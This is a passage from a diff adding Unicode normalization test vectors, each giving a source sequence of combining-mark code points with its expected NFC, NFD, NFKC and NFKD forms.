+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEE, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DEE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DEF, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DEF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DEF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DEF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DEF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DEF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DEF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DEF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DEF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DEF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DF5, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DF5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DF5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DF5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DF5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DF5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DF5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DF5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DF5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DF5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x1DF6, 0x0062], NFC: [0x00E0, 0x0315, 0x1DF6, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x1DF6, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x1DF6, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x1DF6, 0x035C, 0x0062] },
+{ source: [0x0061, 0x1DF6, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x1DF6, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x1DF6, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x1DF6, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x1DF6, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x0300, 0x05AE, 0x1D16D, 0x1DF7, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x1DF7, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x1DF7, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x1DF7, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x1DF7, 0x0300, 0x0062] },
+{ source: [0x0061, 0x1DF7, 0x0300, 0x05AE, 0x1D16D, 0x0062], NFC: [0x00E0, 0x1D16D, 0x1DF7, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x1DF7, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x1DF7, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x1DF7, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x0300, 0x05AE, 0x1D16D, 0x1DF8, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x1DF8, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x1DF8, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x1DF8, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x1DF8, 0x0300, 0x0062] },
+{ source: [0x0061, 0x1DF8, 0x0300, 0x05AE, 0x1D16D, 0x0062], NFC: [0x00E0, 0x1D16D, 0x1DF8, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x1DF8, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x1DF8, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x1DF8, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1DF9, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1DF9, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1DF9, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1DF9, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1DF9, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DF9, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1DF9, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1DF9, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1DF9, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1DF9, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DFB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DFB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DFB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DFB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DFB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DFB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DFB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DFB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DFB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DFB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035D, 0x035C, 0x0315, 0x1DFC, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x1DFC, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x1DFC, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x1DFC, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x1DFC, 0x035D, 0x0062] },
+{ source: [0x0061, 0x1DFC, 0x035D, 0x035C, 0x0315, 0x0062], NFC: [0x0061, 0x0315, 0x1DFC, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x1DFC, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x1DFC, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x1DFC, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1DFD, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1DFD, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1DFD, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1DFD, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1DFD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DFD, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1DFD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1DFD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1DFD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1DFD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DFE, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DFE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DFE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DFE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DFE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DFE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DFE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DFE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DFE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DFE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1DFF, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1DFF, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1DFF, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1DFF, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1DFF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DFF, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1DFF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1DFF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1DFF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1DFF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D0, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D1, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20D2, 0x0062], NFC: [0x0061, 0x0334, 0x20D2, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20D2, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20D2, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20D2, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20D2, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20D2, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20D2, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20D2, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20D2, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20D3, 0x0062], NFC: [0x0061, 0x0334, 0x20D3, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20D3, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20D3, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20D3, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20D3, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20D3, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20D3, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20D3, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20D3, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D4, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D5, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D6, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20D7, 0x0062], NFC: [0x00E0, 0x05AE, 0x20D7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20D7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20D7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20D7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20D7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20D7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20D7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20D7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20D7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20D8, 0x0062], NFC: [0x0061, 0x0334, 0x20D8, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20D8, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20D8, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20D8, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20D8, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20D8, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20D8, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20D8, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20D8, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20D9, 0x0062], NFC: [0x0061, 0x0334, 0x20D9, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20D9, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20D9, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20D9, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20D9, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20D9, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20D9, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20D9, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20D9, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20DA, 0x0062], NFC: [0x0061, 0x0334, 0x20DA, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20DA, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20DA, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20DA, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20DA, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20DA, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20DA, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20DA, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20DA, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20DB, 0x0062], NFC: [0x00E0, 0x05AE, 0x20DB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20DB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20DB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20DB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20DB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20DB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20DB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20DB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20DB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20DC, 0x0062], NFC: [0x00E0, 0x05AE, 0x20DC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20DC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20DC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20DC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20DC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20DC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20DC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20DC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20DC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20E1, 0x0062], NFC: [0x00E0, 0x05AE, 0x20E1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20E1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20E1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20E1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20E1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20E1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20E1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20E1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20E1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20E5, 0x0062], NFC: [0x0061, 0x0334, 0x20E5, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20E5, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20E5, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20E5, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20E5, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20E5, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20E5, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20E5, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20E5, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20E6, 0x0062], NFC: [0x0061, 0x0334, 0x20E6, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20E6, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20E6, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20E6, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20E6, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20E6, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20E6, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20E6, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20E6, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20E7, 0x0062], NFC: [0x00E0, 0x05AE, 0x20E7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20E7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20E7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20E7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20E7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20E7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20E7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20E7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20E7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x20E8, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x20E8, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x20E8, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x20E8, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x20E8, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20E8, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x20E8, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x20E8, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x20E8, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x20E8, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20E9, 0x0062], NFC: [0x00E0, 0x05AE, 0x20E9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20E9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20E9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20E9, 0x0315, 0x0062] },
